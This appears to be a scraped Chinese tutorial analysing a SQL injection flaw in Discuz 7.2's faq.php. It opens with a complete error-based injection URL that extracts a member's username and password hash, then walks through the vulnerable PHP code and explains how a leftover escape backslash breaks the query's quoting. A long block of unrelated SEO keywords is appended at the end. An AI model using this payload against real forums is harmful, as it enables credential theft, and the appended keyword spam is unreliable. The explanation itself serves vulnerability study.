千家信息网

如何分析Discuz7.2版的faq.php SQL注入漏洞

发表于:2026-11-02 作者:千家信息网编辑
千家信息网最后更新 2026年11月02日,这篇文章主要介绍"如何分析Discuz7.2版的faq.php SQL注入漏洞",在日常操作中,相信很多人在如何分析Discuz7.2版的faq.php SQL注入漏洞问题上存在疑惑,小编查阅了各式资
千家信息网最后更新 2026年11月02日如何分析Discuz7.2版的faq.php SQL注入漏洞

这篇文章主要介绍"如何分析Discuz7.2版的faq.php SQL注入漏洞",在日常操作中,相信很多人在如何分析Discuz7.2版的faq.php SQL注入漏洞问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答"如何分析Discuz7.2版的faq.php SQL注入漏洞"的疑惑有所帮助!接下来,请跟着小编一起来学习吧!

注入代码实例:

复制代码 代码如下:

https://www.jb51.net/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

复制代码 代码如下:

($action == 'grouppermission') {

...
ksort($gids);
$groupids = array();
foreach($gids as $row) {
$groupids[] = $row[0];
}

$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
...
}
function implodeids($array) {
if(!empty($array)) {
return "'".implode("','", is_array($array) ? $array : array($array))."'";
} else {
return '';
}
}

首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。

为什么这个操作就造成了注入?

discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数

很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。

但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:
'1','\','3','4'
有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。

到此,关于"如何分析Discuz7.2版的faq.php SQL注入漏洞"的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注网站,小编会继续努力为大家带来更多实用的文章!

转义 漏洞 分析 代码 数组 学习 也就是 字符 引号 也就是说 函数 字符串 就是 更多 语句 帮助 不同 实用 接下来 个数 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 广州为想互联网科技有限公司 深圳恒合互联网络科技有限公司 涨乐互联网科技 圆梦互联网科技 喔噻互联网科技 顺玮阁互联网科技 亿人帮互联网科技 科技伦理 互联网公司 滨湖区互联网智能科技产品供应 华中科技有哪些互联网大佬 宁波青枫互联网科技有限公司 互联网科技有哪些公司 互联网科技扶贫时间 互联网科技人工智能实验室 天津腾达互联网科技有限公司 科技互联网公司两年变化 广西泛欧互联网科技有限公司 盐城市攀科互联网科技有限公司 陕西彩京云互联网科技有限公司 数字科技和互联网金融哪个好 万易互联网科技有限公司 奇酷互联网科技公司 成都狮子座互联网科技 互联网和高科技公司 科技与互联网的利与弊 须眉科技是互联网公司吗 互联网科技有哪些公司 宝灵互联网科技有限公司 青岛科技大学互联网大赛研究生 互联网科技博主张洲
0